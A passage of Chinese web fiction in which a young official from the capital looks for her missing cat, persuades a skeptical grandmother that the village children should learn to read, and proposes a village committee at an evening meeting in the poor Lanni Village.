“您客气了,应该是我来帮您才是。”余玥玺笑笑,“只有人好了,整个村子才能好是不?”
“我们村里人都挺好的,除了没钱别的都很好,我就一个想法啊,要是一个月能吃上一餐肉我就很满足了。”钱大爷哈哈大笑,他说这话的时候,他养的那群鸡鸭在后面咯咯嘎嘎直叫。
“放心放心,会有的!”她想也没想,便夸下海口,“半个月吃一次都没问题。”
桃儿插嘴:“天天吃可以吗?”
“……自然也可以!”稍微迟疑了一会,但余玥玺还是答应下来了。
“你快别难为她了,想法真多!”周小吉轻轻拍了下桃儿的头。
“行,那我们走啦!”余玥玺道,“我们接下来还要去其他地方,看您精神状态这么好,我也就放心了。”
“不坐坐再走?你们还要去哪里呀?”
桃儿性子急,替余玥玺回答:“去家中只有一口人的,要……”
而余玥玺生怕桃儿讲错了话,便急忙抢过话头:“我担心那种家里只有一口人的会孤单,便从他们开始进行问候,询问具体需要,而且也比较方便记录在册。”
“小余不愧是从皇城来的,做事就是认真负责啊,心也细,我看我们烂泥村是有指望咯。”钱大爷笑呵呵地夸赞,“行,你们走吧,我也得去看看我的菜去了。”
与大爷告别过后,三人继续向前走。
“然后呢?我们去哪?”余玥玺问。
“剩下的几户人家都差不多了,基本上都是像刘奶奶和钱大爷这样的。”周小吉语气笃定,“我们烂泥村虽然穷,但是
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精神都还是不错的。所以小喜你接下来还要做什么呢?”
“余姐姐不管做什么我都支持!”桃儿立即开口。
余玥玺沉吟片刻,然后说:“我个人也觉得一个一个去问村民的需求有些费时费力了,这样吧,桃儿,下午你有时间吗?”
“有!就算没有我也有!”桃儿激动不已,这就被委派任务了吗?好期待!
“那就麻烦你去转告村民今天晚饭后我将会在村口——”她转向周小吉,“村里除了村口还有什么比较开阔的地方?村口还是有点远了。”
“古井那边,大槐树下,那里挺开阔的。”周小吉说着遥遥指了个方向。
“好的。”余玥玺又重新看向一脸期待的桃儿,“麻烦我的桃儿小助手转告村民今晚饭后大槐树集合,我要开会。”
“什么事情可以说吗?”
“反正是好事。”余玥玺故意卖关子,“有必要提醒他们今晚一定要早些吃饭哦。”
提到吃饭,桃儿的脑子迅速运转起来:“余姐姐,你应该还记得吧?今晚你可是要到我家吃饭的哦。”
“是,没忘——有鱼是吧?”
“对!”桃儿猛地一点头,“如果我到时候来不及的话,我就让柳儿去接你。”
“那我呢?”周小吉问,“我需要做什么呢?”
余玥玺拍拍她的肩膀,郑重其事道:“你的任务会非常艰巨,排好每天授课的内容,教他们认字念诗;而我将准备一种大人老人们也能学习的课程!”
她怎么知道自己一直以来的愿望是当老师?周小吉一直觉得自己此前的识字课不过是小打小闹行为,孩子两三个,鸡猫狗却是一大群的。
有时讲着讲着便会响起鸡嘹亮的啼鸣、狗连串的狂吠还有猫细弱的喵叫。
哪里像个课堂的样子嘛!
而如今,她可是得到了来自皇城之人的特许,下次再有谁不好好听课,自己可就有理由教训了。
因此周小吉满口答应。
“好了,今天上午跟着我有一会了,回去好好歇息吧,我们争取以最饱满的精神状态完成我们的任务!”余玥玺说完便带头鼓掌。
“好诶!”桃儿不假思索,也立即鼓掌。
周小吉也跟着鼓掌起来。
“你们这是在干嘛?”柳儿不知从哪里冒了出来,看着这三人毫无征兆地拍起手来,只是路过的他被吓到了。
“柳儿!”桃儿一把拉过柳儿,“告诉你一个好消息,我现在也是皇城的官员啦,官只比余姐姐小一级哦!”
柳儿不解道:“真的假的?”他看向余玥玺,“有这事?”
“咳,是我聘用的没错了。”她并未直接回答,而是问,“怎么样,柳儿,你要来帮我一起做事吗?”
“我也可以吗?”柳儿不好意思地挠了挠头。
“当然可以!你负责外交——没听懂也没事,就是负责和外面的人打交道。”余玥玺忽然想起了那个被自己支走的乔河,如果自己再需要什么的话,就可以直接让柳儿去应对他了,“不过现在还没到时候,等那个人来了,我会让你们见一面的。”
柳儿带着桃儿离开了,周小吉也离开了。
赶紧回去看看自己的猫!余玥玺一刻也没停留,急匆匆往家里赶,待到门口时,看见门是好好关着的,她松了一口气;又见窗户也没有被打开过的痕迹,她更是放下心来。
在打开门的瞬间,她激动地喊了声;“花花——我回来咯——”
没有其他声音。
“晚上带你去吃鱼——快出来——”
依然没有其他声音。
向平时花花爱待的床底一看:空无一猫。喊了数声也并未听到回应。
糟糕,这猫,不会跑掉了吧?
8. 忙碌的会前准备
“花花——”余玥玺似是不肯相信刚养了一天的猫就此跑掉的事实,又喊了声猫的名字。转念一想,会不会是猫不知道自己叫花花呢?
嗯,有可能,很有可能。毕竟自己没用这个名字喊过它。
于是余玥玺清了清嗓子,开始喊:“咪咪——咪咪——你在吗?”
不死心的她又看了眼床底,床底干干净净,蜘蛛网一张不剩,就是没有猫的影子。
会在厨房吗?会在里面那间小房间吗?会在柜子里吗?
她一边想着猫可能出现的地方,一边仔细寻找。但结果总是令人失望的,花花它哪里都不在。
快乐啊,啪的一声没了。
余玥玺看向乱七八糟堆了一地的书,里面还夹杂着几根猫毛,她小心地拾起,夹进了那本封面写着“家畜饲养”的书里。
可能,真的就留不住这种一心向往自由的猫吧。不过又一个疑惑冒出头来。
门和窗户都是关得好好的,那花花是从哪里逃出去的?
虽说猫是液体没错了,但是也不可能从一条猫爪都伸不出去的门缝逃走吧?余玥玺表情严肃,陷入深深的思考中。
但思来想去都没想到什么可以说服自己的理由,她便放弃了思考,决定开始工作了。
翻开那本小册子,翻到了人物生平介绍后的一页,“成立了村民互助委员会”。
读一遍,哦,是委员会,正常正常,这样才好管理一个村子,村民有什么需求也能及时传达以及被解决。
然而第二遍时,她却发现了相当不合理的地方。
村委会这种东西在古代有吗?
但既然这么写了,那就肯定有它的道理,余玥玺肯定地点了点头,决定在今晚的会上提出居委会的雏形。
村民互助,统一管理,实在是高啊。
她在书堆里又是一通翻找,翻出来一本算数还有一本儿童识字,这本儿童识字晚上的时候可以给周小吉,这本算数自己先留着,有空的时候可以自己亲自教孩子们。
虽然她一个历史专业生已经很久没有碰过数学一类的书了,但是这种在现代算得上小学低年级水平的算数,手拿把掐还是没有任何问题的。
“喵呜。”正读着书呢,门口传来熟悉的猫叫声。
哟,余玥玺看向声音来源。一只端端正正的三花猫,蹲坐在门槛上,尾巴弯了过来盖住前爪,脖子上系着一个蝴蝶结状的手帕。
这不正是她跑丢的花花吗?
“花花?”余玥玺试探性地喊了声。
“喵。”猫又叫了一声,踩着柔软优雅的猫步而来,而后又轻巧地跳上了桌面,最后趴了下来,露出了柔软的肚皮。
余玥玺用笔杆头戳戳花花的小肚子,花花一个翻身压住了笔,在书桌上长长地伸了个懒腰。
“你还知道回来啊,你从哪里跑出去的?”余玥玺捧着猫脸,一脸认真地问。
“喵喵喵。”花花语气平稳,已然听不出此前任何的一点愤懑了。
虽然听不懂,不过难为它还如此平和地回答自己了。
“下次不要再跑了,就算跑也要和我打招呼,听明白了吗?”余玥玺一下又一下地摸着猫头,“身为家猫,就要有家猫的自觉,更何况你的伤还没有好,和别的猫打架会吃亏的。”
花花眨着狡黠的绿眼睛,歪头伸出爪子拨弄余玥玺因写字而一动一动的笔头。
哦,真是甜蜜的烦恼呢。不过这个时候捣乱确实让她有点头疼,她便抱起了花花,将它丢在了地上:“在地上睡一会吧,本来是可以让你上床的,但是你今天出门了,一身灰,就在地上睡一会。晚上的时候,我带你去吃鱼。”
花花看着她,每说一句话,它就点点头,等余玥玺说完后,它便乖巧地卧在余玥玺的脚边,缩成了一个毛茸茸的团子。
还真是有灵性啊,余玥玺满意无比。
而周小吉那边在回到家后,脚刚一沾地便开始四处寻找。
在衣柜里四处乱翻;又掀开床垫探探床底;甚至跑去了厨房,搬起大堆的木柴。
“阿吉,你在做什么?”韩大姨不解询问,“找东西吗?找什么?”
“书啊,我的书。”周小吉四处张望,“我记得我有一本大字书的。”
她像是担心她的奶奶记不得了一样,又补充道:“就是那本我12岁生日时,爹从外面给我买的那一本呀。”
“都有十年了,在不在都说不定了。”韩大姨摇摇头,“再说你要这个干嘛啊,上面的字你不是都认得了吗?教那群小孩不是也教得不错吗?”
“不是我要看,是我要开始正式教他们念字了。”周小吉平复了一下过于急切的心情,开始解释,“就是皇城来的那位官员,她说我懂得多,特地让我教小孩子呢。”
韩大姨很是疑惑:“这饭还没吃饱呢,教什么读书?小吉你也不要过于掺和此事,就告诉她,先让大家吃饱饭再说!”
“这……不太好吧,毕竟她那么信任我,我也是答应她了的。”周小吉面露难色,“再说了,她可是从皇城来的啊,肯定比我们要见多识广的,读书也确实很重要啊。”
“小吉啊,她是皇城人,是没饿过肚子的,不知道吃不饱饭是个什么滋味,一切都要以先活下去为基础,知识可以当饭吃吗?”韩大姨语重心长,以一种过来人的语气教育道,“你看我大字不识一个,不也活到了现在?是饭让我活到现在而不是什么字啊诗啊什么的。”
周小吉没再吭声,她觉得她的奶奶说得对,但她从心里又不完全认同,只好完全保持沉默。
“听进去了吗?”
“……嗯。”周小吉闷声回答。
韩大姨也懂,她这孙女表面看着温温柔柔很好说话,但她心里打定主意认同的事却是很难改变的。
“算了,这样吧,找个时间我亲自和她去说。我也不是要去指责她,教书可以的,但总是要让我们先吃饱饭再说。小余是好孩子,她会听进去的。”韩大姨看着自家孙女,眼里盛满了温柔,“到时候再让你去教书,我肯定不会拒绝的了。”
“太晚了……说不定到时候我都配不上了……”周小吉心中烦闷,又不好直接拒绝,小声嘟囔道。
“小吉,你说什么?说大声一点。”
“没什么,我去洗衣服了。奶奶你要不要到门前来晒太阳?”周小吉尽力做出一副若无其事的样子。
“不用你洗了,上午你出去了那么久,我洗好了。”韩大姨从靠椅里站了起来,“我去隔壁坐坐,中午你要吃饭便做你自己的那一份就好,我不吃了。”
“哦,好。”周小吉微微点了点头,目送她的奶奶迈着小步走出家门。
她躺倒在床上,心中烦闷不已。
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奶奶说得确实对,知识和饭对人来说,那肯定还是饭更重要一点。但是,她又实在是想当老师,将自己知道的知识传授给其他人,这对她来说是一件相当有成就感的事情。
饭是食粮,知识不也是精神食粮吗?
小喜若是知道自己当不了她的大助手了,一定会很失望吧。她止不住地胡思乱想,会不会还认为村里人不开化而一气之下离开这里呢?
周小吉脑子里的想法越来越可怕了。
不行不行,不管怎样都得说服奶奶,她决定为自己也为余玥玺勇敢一回。
她鼓起勇气从床上爬起,深吸一口气,内心想着措辞,向门外跨出一只脚——但下一刻她又收回了。
还是不行,她没有十足的把握能说服奶奶,万一双方闹僵了也不太好。
要不还是等小喜吧,由她来和奶奶说明情况?小喜毕竟从皇城来的,肯定比自己能说会道一些。
“对,到时候我还可以在旁边帮腔。还有小桃儿,桃儿也可以的。”周小吉很是肯定地给自己下定心丸,“这事一定能成!”
另一边的桃儿和柳儿正走在回家的路上。
“桃儿,你真的很相信余大人吗?”柳儿问,他的表情实在不像完全信任的模样,“她说要我应付外面来的人,可我一不会和人交流,二不会说好话,把事情搞砸怎么办?再说了,咱们村有可能来外人吗?”
“你呀你呀,不会就去学嘛,你还真是愧对余姐姐对你的信任!”桃儿双手叉腰,“我倒是想和外人交流,余姐姐都说了,我很适合做那个什么师,专门陪人聊天!”
“呃,我倒是想把任务交给你。”柳儿垂头,语气沮丧,“一想到将来我得和各种不认识的人说话我就紧张……”
“你和我说话不说得挺好的吗?”
“你不一样啊,我们是一家人。”
桃儿笑嘻嘻:“那就把他们都当成自家人吧!”
“你净出些馊主意,寻我开心是吧?”柳儿撇嘴,继续闷头赶路。
“好啦好啦,我不逗你了。余姐姐说以后会开课,你来不来?”
“来,不管教什么我都来。”柳儿这会倒答得爽快,“说不定我可以在课堂上锻炼自己,让自己不那么害怕和别人交流。”
“嗯,志向远大!孺子可教也!”桃儿文绉绉地拽了一句古文。
“谁教你的啊,小吉吗?”
“是啊,羡慕不?”桃儿笑眯眯地说,“你也是,你不是也可以和我一起去认字的吗?为什么不去呢?”
柳儿尴尬地摸了摸脑袋:“我……有点不好意思,那里人不多,我个子这么高,感觉会很显眼。”
“你顾虑的点还真是奇奇怪怪啊,但是——接下来余姐姐的课你可一定要来。”桃儿踮起脚尖拍柳儿的肩膀,语气似是揶揄,“我可不希望我的哥哥以后被人说是傻大个。”
柳儿笑了:“放心,我一定去,不会给其他人嘲笑的机会的。”
“那既然如此,我决定先锻炼一下你的交流能力。今天下午,我要挨家挨户上门拜访,告知他们今晚要集合的消息,你呢,就跟着我,我会随时让你补充信息。怎么样,能做到吗?”
柳儿犹豫半晌,从牙缝里挤出一个“好”字来。
“那就这么说定了,等回去的时候,你就可以开始做准备了!”
9.四人同心
“晚上您可一定要去呀,有一个天大的好消息在等着我们!”桃儿将手背在身后,语气认真,柳儿像一堵沉默的墙,默默站在桃儿的身后,桃儿说什么他都点头。
“对了,柳儿,是什么时候来着?你来告诉李姨。”桃儿忽地转头。
柳儿看了眼桃儿,又看了眼等着答案的李姨,迅速答道:“是、是今晚晚饭后。”
“还有什么补充的吗?我记得答案可不止这一点点。”桃儿惯会循循善诱的。
“呃,要早一点……不能太晚。”柳儿的脸憋得通红,眼看着就说不出其他话来了。
桃儿适时将柳儿拉到身后,自己上前一步:“就是这样啦,您可一定要来哦!”
“好好好,我肯定去。”李姨笑得合不拢嘴,“我还真好奇那个小余能做出一些什么来。”
“回见,李姨!”桃儿大力挥了挥手,又一掌拍向哑巴似的柳儿的后背,柳儿一个激灵,也挥了挥手,结结巴巴地开口:“再……再见,晚上见。”
“好了,最后一户也已经通知到位,现在就等晚上了。”桃儿还是一副干劲满满的样子,“哦对了,还有晚饭呢,差点就忘了余姐姐今晚还要来家里吃饭的。”
“哦……”柳儿则是耷拉着脑袋,语气疲惫,“我可能需要……休息一下了。”
桃儿似是无语:“你还真是白长这么高的个子了。”
柳儿不搭腔,兀自靠着墙闭眼睛。
“算啦算啦,你去休息一会吧,我去杀鱼!”
“那晚上我来做饭?”
“不用!你去接余姐姐过来!”桃儿坏笑道,“我已经和她说好了,她可是同意了哦。你不会怪我为你擅作主张吧?”
柳儿的眼睛睁开一条缝,他抿着嘴,发出一声气音。
“好,知道了。”
余玥玺的面前摊开了几本书,她迷瞪着眼睛用笔圈圈画画。
这古文,翻译起来难度还真不小。
她也算是啃过不少晦涩难懂的古文原著了,但一接触到她不懂的领域,难度便上来了。
“这个词是这么翻译的吗,还有其他意思吗?套常用释义根本翻译不通啊……”余玥玺揉揉脑袋,烦闷道。
“啊啊啊啊啊——我不是已经脱离了教授和论文了吗?这怎么比期末考试还难啊?”
余玥玺搜索枯肠,又堪堪翻译出一句话来。她瞟了一眼窗外,已有些暮色了,大片大片的云霞陈列开来,像一幅色彩明艳的画。
“我也该休息一会了。”她从椅子里起身,惬意地伸了一个懒腰。
花花被这动作吵醒了,它也弓起背伸了个懒腰,然后绕着余玥玺的腿转来转去,一边蹭一边喵喵叫。
“饿了吗?”余玥玺抓住花花的两只前脚,很自然地将它抱起,“等会就可以吃鱼了,不过不可以吃太多,毕竟是人家的。”
“喵——”花花拉长了音调,张开嘴又打了一个哈欠。
柳儿站在门口,声音不大:“余大人您好,我是来接您去我们家吃晚饭的。”
“哎呀,是小柳儿啊。”余玥玺热情打招呼,“真的是你来了呀?”
“嗯,桃儿她忙一下午了,所以我来了。”柳儿的回答板板正正的。
“都说了不要叫我余大人,你看桃儿都叫我余姐姐呢,你准备叫我什么呢?”余玥玺有意逗弄逗弄他。
柳儿的脸以肉眼可见的速度迅速变红,本来平稳的声音也波动起来:“余……余……余姐。”
“这么多余,你是在驾马吗?”余玥玺似乎打定主意不放过这个容易害羞的少年了,“快说呀,你准备叫我什么呢?”
“姐姐这个称呼太、太亲昵了,我喊不出来……”柳儿头顶冒出的烟看起来可以烧水,“您又不让我喊您大人……我不知道可以喊什么了。”
不能再逗了,再逗下去怕不是会就地晕厥,于是余玥玺宽宏大量道:“不叫姐姐了,喊我余姐吧。”
柳儿呆呆地点头,又重复了一句:“我来接您去我家吃晚饭。”看见余玥玺微微抬起的下巴以及信任的眼神时,他补充了句,“余姐。”
“对嘛,这样才对!”余玥玺拍了拍柳儿瘦削的肩膀,“总是叫我大人的话,长此以往会失去自我的,我是来和你们搞好关系的,不是来压迫来统治你们的。”
“嗯。”柳儿又点头。
虽说这位大人——这位姓余的姐是从皇城来的,但柳儿感受不到任何矜贵的气质,她并不高高在上,相反平易近人的很。自打他第一眼看见她,他就不害怕,而是想要更多地了解她。
如果真的像桃儿说的那样,她会亲自给村里人上课的话,他是一定会去的。
“柳儿,柳儿?你怎么在发呆呢?我问你个事行不?”
“可以。”
余玥玺举起花花,问:“今晚我可以把它也带过去吗?放心,它吃得不多!”
她手里的那只三花猫也翘着胡子高高兴兴地喵了一声。
“可以吧……”柳儿看起来也不是很确定,“问题不大,一共四条鱼,分它一个鱼尾巴应该够了。”
“好!那我们就走吧!”余玥玺点点头,环视了一眼屋子,收好那本今晚要递给周小吉的书,灭掉灯后抱着猫便跨出了门口。
此刻天边的云颜色已不再绚烂,而是阴沉沉的紫黑色,更遥远的天边,已经可以看见星星在闪烁了,一阵风吹来,带着夜的凉爽的气息。
路旁的家家户户大门敞开,不时有狗一边叫一边跑来跑去,见了余玥玺,它们摇着尾巴上前,嗓门很大的“汪汪”吠叫。
柳儿担心这些狗会吓到余玥玺,便在有狗接近时,轻跺脚试图斥退它们。
“没关系,看他们摇尾巴呢,挺友好的。”余玥玺甚至停下脚步,摸了一只凑到最前面的狗的脑袋。
怀中的花花不安分地动着,对每一只凑上前的狗龇牙咧嘴,嗓子里溢出恐吓的低吼声。
“倒是忘了你了,你个胆小的家伙。”余玥玺说着掐了一把花花的脸,和柳儿一起加快了脚步。只留下三五成群的狗在身后有一下没一下地吠着。
二人没过多久便到了目的地,桃儿坐在门槛上,表情出神地看着远方,连两人到了都未察觉到。
“嘿,小桃儿!看看谁来了?”余玥玺一只手,在桃儿眼前晃了晃。
“诶,你们来了,好快啊!”桃儿总算回过神来了,脸上也恢复了笑着的表情,见到余玥玺手里的猫,她便也打了个招呼,“咪咪你好呀。”
“它叫花花。”余玥玺提醒道。
“嗯,很符合它的毛色!”桃儿应和着说,伸出一根手指,轻挠了下花花的下巴。
花花眯着眼睛,发出舒服的“呼噜呼噜”声。
“记得前不久还凶得很呢,这么快就这么乖了啊。”桃儿似是震惊,又顺着花花的头摸到了它的尾巴处。
“是呢,是我教猫有方。”余玥玺的自信心再度膨胀。
“正好有鱼呢,今晚可以给它吃鱼!”桃儿笑眯眯,“柳儿不喜欢吃鱼,多出来的鱼可以给花花吃,对不对呀,柳儿?”
看桃儿摸猫出神的柳儿突然被提及,他慌忙开口:“对,对,我不吃鱼。”
“不用不用,它这么小一只猫,哪里吃得了一条鱼呢。给它一个鱼尾巴就够了。”
晚饭不久过后便开张了,鱼绝对是当晚最亮眼的主角,所有人都吃得开心,包括在地上啃着鱼尾的
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花花。
“好了,时候到了,出发!”余玥玺的手遥指了一下古井的方向,“桃儿和柳儿,你们要跟着我先走吗?”
“当然!”桃儿很高兴地接受了,同时也不顾柳儿的真实意愿,托起他的一条胳膊就兴冲冲地开口,“余姐姐,那我们快走吧!”
“慢、慢点,我自己能走。”柳儿被桃儿突如其来的大动作吓了一跳,表示自己可以走。
一路上凉风习习,惬意无比。
待到了古井边以后,余玥玺才发现周小吉已经早早等在那里了。
“小吉,你看看我给你带了什么好东西!”余玥玺从怀里掏出一本书来,隔着老远的路就开始喊起来了。
“小喜啊。”周小吉勉强做出一个微笑,尽力使自己打起精神看向余玥玺手里的书。
余玥玺滔滔不绝:“皇城出版社最新出版的大字书,专门针对十二岁以下儿童量身定制的学习用书,简单通俗易懂、循序渐进……”但讲着讲着她却发现周小吉一副心不在焉的样子。
“送你的,你以后可得好好给我担起助教的职责哦!”余玥玺二话不说,抓起周小吉的一只手就把书塞进了她的手里。
“我……”眼见着周小吉就红了眼眶,余玥玺不解何意,仍乐呵呵道:“哭什么,这么激动的吗?”
“不是,不是!”周小吉拼命摇头,“我可能帮不了你了。”
“啊?发生什么事了?上午不是还说得好好的吗?”余玥玺困惑地问。
“别急,慢慢说,我相信不是你的问题。”见周小吉眼角已经挂着一滴泪了,余玥玺安慰道。
周小吉半天才平复下来自己的情绪,哽咽着说:“我的奶奶,不同意我教识字,她还说,也不同意你授课……”
“为什么?”余玥玺有些懵,难道教知识还教出错来了?
“她的意思是,要你先让我们都吃饱饭,其他的,不管什么都要在后面说。”周小吉的语气轻飘飘的,似是哀愁,“我和她已经理论过了,她没听进去。”
余玥玺叹了口气,拥抱了下周小吉:“不怪你,你已经很好了,我会想办法的说服她的,这字是必须要教的!”
她又轻拍了下周小吉那只握着书的手,语气轻快:“这书你可得收好咯,这以后便是你的御用书了!”
周小吉抹掉了眼角的泪,用力点头:“我会收好的!”
“没事没事啦,都是小问题。”余玥玺安慰道,“我会尽力说明教育对大家的重要性的。”
“我相信你。”周小吉噙着笑,不再流泪了。
桃儿从余玥玺身后探出个脑袋来,疑惑开口:“怎么,是遇到什么事情了吗?”
“是啊,如果这件事没有办妥的话,桃儿你以后可能不能继续认字了。”余玥玺故意吓唬她。
“啊?不要啊。”桃儿的脸白了一瞬,“到底怎么了啊。”
周小吉便一五一十讲清了事情的经过,末了还补上了一句:“桃儿,你会帮我的是吧?”
“那当然!”桃儿点头,语气豪横,“我就是要认字,谁也阻拦不了我!”
“我……我也可以。”一个意外的人——是柳儿,“我可以和你们一起说服韩大姨。”
余玥玺满意地看了眼自己的一群兵,感动道:“能有你们的支持,我好感动。”
“将心比心嘛。”周小吉笑道。
“小余啊,我来和你商量一个事。”韩大姨走来,脸上扔挂着和蔼慈祥的微笑,但接下来说的话却并不可亲了,“请问你可以先停下给孩子们上课的打算吗?”
余玥玺脸上带笑,她稳住自己的声音:“是韩大姨啊,我正好也有事情想和您谈谈,我们借一步说话?”
10.小余劝学
“是不希望我教孩子们识字这件事吗?”余玥玺带着亲切的笑容问。
韩大姨点头,语气认真:“小余,我知你是好意,但是这个事情,目前还真的需要好好商量。”
“好好商量是吗?”余玥玺笑了笑,“那就是有希望是吧?”
“不,不可能,我只是一开始不想把事情说得这么绝对而已。”韩大姨脸上的笑容已经有些稀薄了,她迅速切入正题,“我认为,现在并不是给孩子们上课的时候。”
“那现在应该做什么呢?”余玥玺反问。
“给家里做事啊,不管什么事,都比不过吃饱饭,不管什么都要排在吃饱饭的后面。”
余玥玺慢慢地摇了摇头:“不,我并不这么认为。”
“在合适的时间做合适的事情,孩子没必要那么早就承担起这么大的责任。”
“村子的情况小余你这两天也看见了,哪里还有闲工夫去给孩子们上课呢?”韩大姨似是一番苦口婆心,“不仅耽误农事,还不一定就有好效果。我家小吉这之前一直有教过一些简单的识字课,你可以问问她,到底有多少孩子会来!小吉!”
站在余玥玺身侧的周小吉张了张嘴,犹犹豫豫道:“其实还真不少……农忙那阵子人不多是正常的,但是闲的时候几乎所有小孩都会来……”
韩大姨不待周小吉说完,就急忙道:“听见了吧,农忙的时候不多,说明什么?说明不止我一人觉得识字这事是不重要的。”
“我不是这个意思!”周小吉见她的意思被完全曲解,忍不住又解释道,“我的意思是大家都觉得这个很重要才会抓住一切空闲时间来听课的!”
“咳,我是想说,大人做大人的事,孩子做孩子的事,又不是说,直接就把他们带离开这里了。”余玥玺摇摇头,“而且您真的不认为接受适当的教育对孩子们来说益处很大吗?”
“哦,你是皇城来的,自然觉得读书识字重要咯,像我们乡下人,会认会写自己的名字就已经很好了,整天对着黄土地,有什么必要去识字?会识字是能改变现在村里的情况还是怎样?”韩大姨的眉毛深深地皱了起来。
“这倒是,如果我不是会识字会读书,想来也走不到今天这里。”余玥玺尽可能使自己的话听着不那么刺耳,并顺着韩大姨的意思向下说,“但是您将这件事看得太功利性了,难道没有好处的事情就不去做了吗?”
“不然呢,明知道这个种子已经枯萎了,还会浪费精力把它丢进土里去种吗?岂不是浪费时间和精力!”韩大姨倒显得咄咄逼人了。
桃儿冷不丁抢在余玥玺前面开了口:“若要是从一堆种子里辨别哪个可以种哪个不可以种,岂不是更浪费时间?不如把它们一同丢进土里,发芽了就都是好种子!哪里需要分得那么清楚!”
“哈哈,桃儿的脑筋转得真快,虽然是个歪理。”余玥玺的双手扶上桃儿的肩膀,继续心平气和道,“种子的事情我不如你们懂,就是把一堆葵花种子放在我的面前,我都能把它当瓜子嗑了。但是——我想说的是,这世上没有好处却依然有大把人在做的事情也不少呢。”
“比如呢?”韩大姨看起来稍微平静了些。
“就比如我啊。”余玥玺自夸,“明知道我来这边没有更多的俸禄,我不还是来了吗?”
“还有我,明知道教孩子们是一件既费时又费力的事情,可我还是做了。”周小吉也立即回答。
桃儿跟着乐呵呵的开口:“还有我还有我!我又讨不到吃的,但我仍然每天和刘奶奶她们聊天呀!”
“您看,就在我们身边都有这么多不功利的事情,更别提把目光放在更遥远的地方了。识文断字也是如此,但它不同,短期内是见不到成果的,但长久来看,作用远比您想象的要大。”
韩大姨的表情有所缓和,声音也没那么激烈了:“但是,孩子们都去上课了,那家中的事情,田间的事都由我们来做了?村中还是有不少行动不便的老人的。”但他的眼神看起来依旧不是信任的样子。
“您放心,这点我当然也考虑到了,不然今晚也不会请您们所有人来了。我针对咱们村的情况,提出了一种完全不同于其他村子的管理方式。虽然还只有一个形,但我有自信它会是成功的。”
“小余你真是……”韩大姨摇头,“什么事都还没想清楚就拿出来了。”
“嘿嘿,毕竟我也是新人啊。”余玥玺露出一个不好意思的笑,“但是我敢打包票,一定会成功的!”
“这件事没做成功,办学堂教孩子们读书我是不会同意的。”
“唉,其实我心意已决,什么都准备好了,书、老师……”余玥玺伸出手指,一项一项地数,“甚至学生都有了。”
“对,有……有我一个!”此前一直在沉默的柳儿忽然开口,尽管他怕韩大姨怕得很。
韩大姨用惊奇的目光打量着柳儿,好似才注意到有这么一个人:“柳儿你一直在啊,你不是没去过我家小吉的课吗?怎么这会这么积极了?”
“我就是想去……我不想只认得我自己的名字,桃儿的名字,我还想了解更多。”柳儿憋足了一口气,流利道,“我想变得更好,这一点只有通过读书才能做到,我还想——还想尽我最大努力,实现桃儿的梦想。”
忽然被提到名字的桃儿惊诧道:“哟,这一次说了不少话嘛,不过我自己的梦想我自己会努力的,不用你帮,你努力实现自己的梦想就好啦。”
“柳儿,这是你自己的意思吗?你真的想识字读书?我可是看着你长大的,你不是向来不喜欢这些?”韩大姨一下子把话题转向了柳儿,“我看你干农活干事情可是积极的很。”
“这又不矛盾……”柳儿小声说。
“以前和现在必须一样吗,我以前还不喜欢说话呢!”桃儿帮腔。
“是,而且我还不止打算给孩子们开设识字课,还会教孩子们算数、历史、思想。”余玥玺也顾不得她能不能听懂了,兴致高昂继续道,“我还打算给像您这样的成年人上课。”
“给我?”韩大姨像是受了惊吓一般,连声拒绝,“我都多大年纪的人了,哪里还有那精力去学习?我又不识字,难道还要从开头开始学?等学完了,我怕不是连自己埋哪都想好了。”
“奶奶,您说这个干什么!”周小吉急切开口,“什么埋哪?您可不许说这个了!”
“这有什么不能说的,都这么老了,这个问题我就不信谁没考虑过。”韩大姨气哼哼地开口,“小余啊,我们都这么老了,就不要折腾我们了可好?”
“我又没说也教你们同样的东西呀。”余玥玺微笑,“我会教您们如何化资源为财富,为您们带来最新的农业知识。”
“烂泥村
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的情况我这些时候已经了解的很多了,传统的耕作方式显然没有将资源做到最合理的运用,这也就是为什么烂泥村会越来越穷!”
“可是我们祖祖辈辈都是这么来的,不这么做还能怎么做呢?”韩大姨看上去已经有些动摇了。
“前人的错误经验就不要一直沿用了,我是真心为烂泥村的未来好,才会做出这个决策的。”
“我知道你是好意,但这些观点对我来说一时之间还是难以接受。”韩大姨的表情看上去有些茫然,“我需要一些时间。”
“没关系,您能理解就好。那么我再问您一遍,您对小吉继续教孩子们这件事同意了吗?”
“不,我只是不拒绝罢了,要想让我同意,还得看你的作为,我一定要确定你是不是真的可以让烂泥村变好。”
余玥玺终是放下心来,轻松道:“您就放一百个心,成果由您随时验收!”
“好啊好啊,有干劲是好事。”韩大姨赞许道,“那我到旁边去了,就不在近处凑热闹了。”
会前的小小插曲已然结束,正式集会便马上要开始了。
防止刘奶奶听不清,余玥玺还贴心地将她拉到了最前面。
“马上就要开会了,您在这里能听得清楚一些。”
“什么会,我什么都不会?”
“不用您会什么,您坐在这就行了。”
扯着嗓子在刘奶奶耳边喊了一阵子后,她才明白是何意,坐在小板凳里,微眯着眼睛看向站在最前面的余玥玺一行人。
“非常感谢大家能抽出宝贵时间前来听我在这里胡说八道,我和大家都是第一次见面,但是我觉得我们已经很熟了对吗?”
“是的!”桃儿带头欢呼一声。
“我也很惶恐,担心我的举动不能让大家满意,不过我会尽力让大家都信任我,从而信任我所带来的举措。”
余玥玺正正经经地讲完前言,然后嘴里蹦出一个在场所有人都没听过的词来:“我要成立村委会。”
“村委会?”
“村委会是什么?”
“皇城那边的新东西?我十几年前去过,都还不知道这个词。”
就连周小吉都发出疑问:“这是什么?”
在场人的反应不出余玥玺所料,要是有人大呼“这个我知道”才是完蛋。
“这个是我设想的一种新形势,基于村民关系,统一管理,互帮互助。我可以担任第一届的主任,也就是同等性质下的村长;往后几届,由你们投票选举,如果我依旧很荣幸地被你们再次选上了,我会继续努力的。”
“除此之外,我还需要一个助手。”余玥玺用信任的眼神看向周小吉,“我决定选择周小吉担任副主任。”
“然后呢,我简单介绍一下村委会的职责,集全村之力办大事!这样可以最高效地利用一切资源,由我牵头提供其他资源,比如新技术。”
“怎么样,有兴趣吗?”
百米之外的花花趴在院子门口,它抬头望着天,天上一轮明月皎皎;又看了看身后,一座小房黑黑洞洞。
为什么人还不回来?再不回来,我可就要去探险了哦。
一只虫子在它眼前晃了一下,而后飞到远处,花花的耳朵动了一下,它饶有兴趣地看着虫子飞行的轨迹,喵呜一声扑到了草丛里,撒开爪飞奔向远方。
11.野猫它不想变成家猫
